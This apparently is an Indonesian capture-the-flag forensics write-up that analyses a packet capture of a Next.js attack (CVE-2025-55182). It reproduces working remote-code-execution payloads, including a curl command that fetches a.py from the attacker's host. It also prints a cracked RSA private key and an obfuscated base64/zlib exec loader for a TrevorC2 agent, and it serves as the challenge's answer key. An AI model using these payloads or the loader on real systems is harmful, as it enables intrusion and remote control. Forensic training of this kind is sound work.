Writeup Aria
C2C QualificationForensics

React

1771230193379

description

Author: daffainfo

One month ago, there was a massive attack on one of the popular JS frameworks, and it seems like my website was affected as well...

You can use Wireshark to analyze the PCAP file.

analisis

1. What is the IP address of the attacker?

Required Format: 127.0.0.1

Solution

untuk mengetahui IP Address penyerang, kita bisa melihat pada bagian conversations di Wireshark. Kita filter dengan IPv4 dan mengurutkan berdasarkan jumlah paket, maka kita bisa melihat IP Address mana yang paling banyak berkomunikasi dengan server kita.

statistics -> conversations > IPv4 > sort by packets 1771231198291

1771231270322

Address A,Address B,Packets,Bytes,Stream ID,Packets A → B,Bytes A → B,Packets B → A,Bytes B → A,Rel Start,Duration,Bits/s A → B,Bits/s B → A
"192.168.56.104","192.168.56.103",3355,3870005,1,1654,2307594,1701,1562411,1.750763848,378.00320032499997,48837,33066
"192.168.56.1","239.255.255.250",26,5512,0,26,5512,0,0,0,360.013040505,122,0
"192.168.56.1","192.168.56.255",2,491,2,2,491,0,0,197.471007162,55.76563673499999,70,0
"192.168.56.103","192.168.56.100",2,924,3,1,334,1,590,206.189696176,0.0035413720000008198,"",""

192.168.56.104

2. What is the IP address of the victim?

Required Format: 127.0.0.1

Solution

karena kita sudah mengetahui IP Address penyerang, maka kita bisa melihat dengan siapa penyerang tersebut berkomunikasi. Dari hasil conversations sebelumnya, kita bisa melihat bahwa penyerang melakukan komunikasi dengan IP Address 192.168.56.103, maka kita bisa menyimpulkan bahwa IP Address korban adalah 192.168.56.103

192.168.56.103

3. What tools did the attacker use first? (Lowercase)

Required Format: -

Solution

disini saya mencoba mengecek conversations antara penyerang dengan korban, lalu saya melihat pada bagian protocol yang digunakan. Dari hasil conversations sebelumnya, kita bisa melihat bahwa penyerang menggunakan protokol TCP untuk berkomunikasi dengan korban.

saya coba cek bagian protocol TCP, dan ketika saya melihat sampe bawah terdapat request tcp sampai ke port 65535. asumsi saya penyerang mencoba melakukan port scanning ke korban, maka kemungkinan besar tools yang digunakan adalah nmap.

1771231469581

nmap

4. Which CVE ID was exploited by the attacker?

Required Format: CVE-XXXX-XXXX

Solution

disini saya coba cek lagi untuk port yang paling sering di akses oleh penyerang, yaitu port 3000

1771231713145

jadi saya memutuskan untuk fokus ke traffic yang menuju ke port 3000, lalu saya coba cek pada bagian protocol HTTP, dan saya menemukan request HTTP

ip.addr==192.168.56.104 && ip.addr==192.168.56.103 && tcp.port==3000 && http

saya juga sekalian mencoba melakukan follow HTTP Stream untuk melihat isi dari request dan response HTTP tersebut. 1771231958576

karena saya bingung baca HTTP Streamnya saya mencoba menyimpan Stream tersebut ke dalam file 1.txt untuk dianalisis lebih lanjut menggunakan AI.

POST / HTTP/1.1
Host: 192.168.56.103:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15
Connection: close
Content-Length: 695
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Next-Action: x
X-Nextjs-Html-Request-Id: FsCGZ0if1WmwJZTDlQPOa
X-Nextjs-Request-Id: eeuf5yoj
Accept-Encoding: gzip

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('echo 123').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

1771232238668

setelah bertanya dengan AI dapat disimpulkan bahwa CVE yang ini merupakan CVE dari aplikasi Next.js.

1771232405311

saya mencoba mencari di goggle terkait CVE Next JS, dann setelah sekian lama mencari saya menemukan CVE yang cocok dengan kondisi yang saya temukan di Wireshark, yaitu CVE-2025-55182

CVE-2025-55182

5. What was the first command executed by the attacker?

Required Format: -

Solution

dari hasil HTTP Stream sebelumnya, kita bisa melihat bahwa terdapat command echo 123 yang dieksekusi oleh penyerang. Command tersebut dieksekusi melalui child_process.execSync di dalam aplikasi Next.js yang rentan terhadap CVE-2025-55182.

echo 123

6. Which Command and Control (C2) framework is being used?

Required Format: Cobalt Strike

Solution

saya mencoba mencari HTTP Stream lainya, dan telah mengumpulkan semua command yang di eksekusi oleh penyerang.

tcp.stream eq 1008
# {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('whoami').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

tcp.stream eq 1009
# {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('hostname').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

tcp.stream eq 1010
# {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('curl https://192.168.56.104:4433 -k').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

tcp.stream eq 1012
# {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('curl https://192.168.56.104:4433/t/agents/a.py -o a.py -k').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

dari sini kita mengetahui bahwa penyerang mencoba untuk mengunduh file a.py dari server penyerang, dan file tersebut merupakan file yang digunakan untuk melakukan Command and Control (C2) oleh penyerang. Setelah saya mencari tahu terkait file a.py tersebut. karena saya gak tau ini C2 Framework yang digunakan apa.

saya memutuskan untuk bertanya ke AI terkait file a.py dengan path t/agents/a.py.

namun masih belum menemukan jawaban yang pasti terkait C2 Framework yang digunakan oleh penyerang, maka saya mencoba untuk melakukan brute force dengan beberapa nama C2 Framework yang populer.

brute_q6.py

import time
import socket
import sys

if len(sys.argv) != 3:
    print(f"Usage: {sys.argv[0]} HOST PORT")
    exit()

HOST = sys.argv[1]
PORT = int(sys.argv[2])

confirmed_answers=["192.168.56.104","192.168.56.103","nmap","CVE-2025-55182","echo 123"]
candidates_q6=["Metasploit","Metasploit Framework","MSF","Empire","PowerShell Empire","Empire C2","Empire Project","Sliver","Sliver C2","Sliver Framework","BishopFox Sliver","PoshC2","Mythic","Mythic C2","Caldera","Covenant","Merlin","Viper","Ares","Puppet","Koadic","SilentTrinity","TrevorC2","Shadow","Brute Ratel","Brute Ratel C4","Cobalt Strike","TeamServer","Posidon","Apfell","FruityC2","EggShell","Chafer","Remcos","Quasar","AsyncRAT"]

def try_answer(candidate):
    print(f"\n[*] Trying Answer: {candidate}")
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((HOST, PORT))
        s.settimeout(5)  # Timeout biar gak hang

        # Helper untuk terima data
        def recv_until(target_str):
            buf = ""
            while target_str not in buf:
                chunk = s.recv(1024).decode(errors='ignore')
                if not chunk: return False
                buf += chunk
            return True

        # Mengisi 5 jawaban pertama
        for ans in confirmed_answers:
            if not recv_until("Your Answer:"): return False
            s.sendall((ans + "\n").encode())

        # Sampai di pertanyaan 6
        if not recv_until("Your Answer:"): return False

        # Kirim kandidat jawaban
        s.sendall((candidate + "\n").encode())

        # Cek respon
        # Kita baca chunk respon setelah kirim jawaban
        response = s.recv(4096).decode(errors='ignore')

        # Logika deteksi benar/salah
        # "Correct!" biasanya muncul jika benar
        # "Wrong" atau pengulangan pertanyaan jika salah
        if "Correct" in response or "Question 7" in response:
            print(f"[+] SUCCESS! The answer is: {candidate}")
            return True
        else:
            print(f"[-] Wrong: {candidate}")
            return False

    except Exception as e:
        print(f"[!] Error with {candidate}: {e}")
        return False
    finally:
        s.close()
        time.sleep(1) # Delay biar gak kena rate limit

# Main Loop Brute Force
print("--- Starting Brute Force for Q6 ---")
for ans in candidates_q6:
    if try_answer(ans):
        break
else:
    print("\n[!] All candidates failed. Check the name manually.")

python3 brute_q6.py $HOST $PORT

1771233441131

setelah di tunggu beberapa menit akhirnya berhasil menemukan jawaban yang benar untuk pertanyaan ke 6, yaitu TrevorC2

1771233461009

TrevorC2

7. What encryption key / password was used to interact with the C2 server?

Required Format: -

Solution

ini adalah pertanyaan yang paling sulit buat saya karena saya gak tau bagaimana cara untuk mengetahui password yang digunakan untuk berinteraksi dengan C2 server.

karena ketika saya mencoba mencari di internet terkait TrevorC2 saya menemukan credensial default untuk TrevorC2, yaitu Tr3v0rC2R0x@nd1s@w350m3#TrevorForget namun masih salah.

lalu saya saya teringat bahwa di dalam HTTP Stream sebelumnya terdapat command curl https://192.168.56.104:4433/t/agents/a.py -o a.py -k yang digunakan untuk mengunduh file a.py dari server penyerang, dan file tersebut merupakan file yang digunakan untuk melakukan Command and Control (C2) oleh penyerang.

saya mencoba mencari di wireshark dengan filter:

ip.addr==192.168.56.104 && ip.addr==192.168.56.103 && tcp.port==4433

dan ketika saya cek ternyata ini merupakan traffic HTTPS. karena hanya berissi TLS handshake saja, maka saya gak bisa melihat isi dari traffic tersebut.

saya stuck disini 2 harian, dan akhirnya ketika saya mencoba bertanya ke AI dengan mengirimkan file .cer nya dia memberi tahu saya ini

1771233843852

setelah itu saya lakukan save.

1771233888020

saya coba extract informasi dari file .cer tersebut menggunakan openssl

mv 5c30d78378042f8df513eb1a1b7db7525135b1d0.cer trevor.cer
openssl x509 -in trevor.cer -text -noout

output

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            5c:30:d7:83:78:04:2f:8d:f5:13:eb:1a:1b:7d:b7:52:51:35:b1:d0
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=ID, ST=CTF, L=CTF, O=CustomTLS, CN=google.local
        Validity
            Not Before: Jan 13 06:28:52 2026 GMT
            Not After : Jan 13 06:28:52 2027 GMT
        Subject: C=ID, ST=CTF, L=CTF, O=CustomTLS, CN=google.local
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (1024 bit)
                Modulus:
                    00:ee:fc:a9:19:c8:f0:a4:e5:d9:87:80:e1:1a:11:
                    b3:98:77:3c:40:62:70:c7:6f:62:c1:27:ae:35:ad:
                    ae:93:5d:3a:08:0b:a6:20:9f:50:35:b8:d0:bc:d4:
                    26:6d:0f:17:ea:d2:9e:57:04:b7:6d:27:f9:36:7e:
                    16:c0:68:77:f0:44:8b:c5:17:a3:1c:2a:31:d5:de:
                    d8:b3:d9:fa:6f:34:4f:02:c4:49:4f:9d:d1:0e:c9:
                    db:6b:e0:07:37:85:60:dc:6c:ef:dc:84:e6:53:f3:
                    eb:3b:0a:ca:f7:d7:0d:e3:cf:7b:8d:79:3a:31:9d:
                    c6:52:d1:bd:6c:ae:51:fa:1d
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Subject Key Identifier:
                29:B5:E7:9F:80:38:A4:E4:04:D6:06:8D:1C:41:14:A0:50:1E:37:B1
            X509v3 Authority Key Identifier:
                29:B5:E7:9F:80:38:A4:E4:04:D6:06:8D:1C:41:14:A0:50:1E:37:B1
            X509v3 Basic Constraints: critical
                CA:TRUE
    Signature Algorithm: sha256WithRSAEncryption
    Signature Value:
        17:26:cb:41:c4:1f:a7:28:b8:ad:bb:74:b3:11:ec:2d:75:89:
        4d:46:1e:33:2a:b0:86:91:11:d2:82:cb:81:d2:fe:84:20:0b:
        b9:13:8b:d1:eb:33:56:81:2e:ba:8e:ea:03:74:ed:50:22:d6:
        e0:99:22:da:ad:b7:b0:d4:16:dd:cc:e9:34:0a:b6:a1:c0:34:
        61:1c:75:1f:36:84:63:3b:ad:d2:36:43:f0:f1:6f:33:f8:ea:
        2f:e8:95:2a:07:44:6a:85:06:ab:43:09:fc:1a:17:ab:39:04:
        c0:94:7b:d1:56:ef:ed:87:64:fc:25:29:44:cf:8d:32:09:d4:
        f6:ee

hasil dari AI tersebut kita bisa menggunakan tool RsaCtfTool untuk mencoba memecahkan kunci RSA.

1771234114485

lakukan ekstraksi public key dari file .cer menggunakan openssl

openssl x509 -in trevor.cer -pubkey -noout > pub.pem

1771234259969

installasi tool RsaCtfTool

pip install git+https://github.com/RsaCtfTool/RsaCtfTool
rsacrack --publickey pub.pem --private

1771234389237

dan akhirnya kita mendapatkan private key RSA yang digunakan untuk berinteraksi dengan C2 server.

priv.pem

-----BEGIN RSA PRIVATE KEY-----
MIICXQIBAAKBgQDu/KkZyPCk5dmHgOEaEbOYdzxAYnDHb2LBJ641ra6TXToIC6Yg
n1A1uNC81CZtDxfq0p5XBLdtJ/k2fhbAaHfwRIvFF6McKjHV3tiz2fpvNE8CxElP
ndEOydtr4Ac3hWDcbO/chOZT8+s7Csr31w3jz3uNeToxncZS0b1srlH6HQIDAQAB
AoGBANocNaiWvyl/rLwCX26PYT1w9Mg+D3e0rIhkUpYi4QUVPHVDTGbRfz7IYZk0
da1q7QUfG+uHHnC83rFg+hq4PVyDdeFmrq/jHExbFKR0EK2qUWUk3SFd4edS2Xxa
YF4OACaCfnRmtMoUexP/Usm8bo87PqUnADOiOxR0aPuZ/wjxAkEA91jlLEUaYSdn
E3E25WTTWzjZdDelTV56B72wnzr5f2kDFdf6XqT7ffaOUCekqwRlDXY/LuW7lTY3
FwGRtrpU5wJBAPdY5SxFGmEnZxNxNuVk01s42XQ3pU1eege9sJ86+X9pAxXX+l6k
+332jlAnpKsEZQ12Py7lu5U2NxcBkba2VFsCQQD2B7JNCp9mq+7XY/Ga02N4hV+n
PgJqpuLy+DfK6rpphWbQP3iG08xkSu7bw9MDWOe7MDdAyrp/fOHnPGRYQZdZAkAc
SY9UA8cji0UPhSgZDfHaAeNkliSSd5aPIhN78lusRY8zxVJ91nJoknTuF8qOQF9q
LbbGH0HXq66bM/O9KJb3AkBwON77sPJFMEsgbjLURVQ2MsDH9gbzEJKdlYiqTN8t
GusEKiHJFaMjk43UT0QaAVfHUOglRxkDU7CnVum5MDqA
-----END RSA PRIVATE KEY-----

karena kita sudah mendapatkan private key RSA, maka kita bisa mencoba untuk mendekripsi traffic HTTPS yang menuju ke port 4433 di wireshark, dengan cara

  1. Edit → Preferences 1771235162491

  2. Protocols → TLS -> RSA Key List → Edit 1771235261778

  3. tambahkan ip address, port, protocol, dan Key FIle (private key yang sudah kita dapatkan) 1771235391769

  4. setelah itu jan lupa click ok/apply.

sekarang kita coba filter traffic HTTPS yang menuju ke port 4433 lagi, dan kita coba lihat isi dari traffic tersebut.

tls

1771235519872

kita coba follow HTTP Stream untuk melihat isi dari traffic tersebut.

yang biru adalah response hasil dari curl yang diterima victim.

1771235555821

kita coba simpan filenya dengan nama a.py lalu kita coba buka file tersebut.

_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));
exec((_)(b'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'))

dari file a.py tersebut kita mengetahui bahwa file tersebut di obfuscate menggunakan base64 dan zlib.

saya mencoba meminta AI untuk membuatkan tool deobfuscate untuk file a.py tersebut:

agent_enc.txt

Ps9aQOw//++8/3yWCyBicjmd+WHsm0p/5CUXzBEs7Jh0O5I1xZlbw5fFLkMHjmqavtKBc+CRQ41rUQA2Hk1EG2B6bl4FvcOuB7jLPcCjl3dbBNWnpSkzqYB+Hrv9layYIRw3um61wPjk61YkWWl8O7EONlHBBMSeaBq95hVlaopolz3zb2ZqGJJZ0KZLC5Xx7+UsUQSmrQ3zqYVQw42v2UL4KCpllxBu/MrCbbboaRe+8phz3f+GbthiUN4BdOwmTPXIhZGDfiDQO7BaPbwcZpbUiyOW0pSK3Iri48jdFFjcJHUBrRN0SiWc0cKu5NJs+X/RNT78SYUqcNu2zf5yNK4fKzx8Wf61KnBKT1Gq53LtiHWFxDeRb7IXejQAQlgp3CUsNd2kcL6mxjqUFJXnXqvpAOL7nKbg7wJGUgom+RqmYnzRFliRS70xLNnxLRjcBkF6UUzK/m3XDpRIm+TIFtucFLGHWOLjJs+aWgyNJftS2PyCQqZ/uoRdho41CzJEorE2UERSP8XpwT6CbqNBynfAfLAhaE+Z0dST9blbJog7+zR6Ii/nt44eN3z7o9LybEE0TKUH1KylF1bnkrD0ypXYCsH77zHNW4N/zqh2I6/IxYd/C67NX4KtJeuS3eJZhxA279xrZ9sivFLIQ559As1JuQAyGBEr2kqaouy4v4JKzSKhQukCZS9pqTpsyZiL+r25IT0pP7kL0YDW/Ge6Et+vilS6vQLvTV/I/71G3q/n4PxuX7ueQz9SqsrivaR3QT+8b29P1J4qSKNFCbMEakuyKCqz/IgHc9fOvIHx8ypYUCQhS+57n+iPxwbRuorBSJ4iHTS6cJth4PAfTMbNj/yFrKAEQ3WCqemxfmGwmPS3fm/PBrSXn4Nmxob87yUmjB/6Z2pJGDT6aqKV3+Btd9aoxhUK7jAdDPzLSGuUCLDXKT1x7liwMSSw4/VvCKTRNGDM7wrkKR2vB2O6gKD5UHhx2vHn9lVZpwsWKz5k6nVzDLCq/25NfcrBIeXHet7QF99ghzh/38TdeQqtSZV578sKAthXoDMvwutL3biDm/DF25CNFX5q7EXQO+XpGoYgfrSmJhsjKVx4m3dk8fqGY2yze3O7Ph6RLWJudtphqf59FUghjehysKgRV1r2MkJ3Be8Pg7BAjNvDqH5dcjSa21BqhenVNO68ozg9IqF8ff0Zg+n7/cL8f+X4tBs8pvpTiAnzzqspKQ0Nl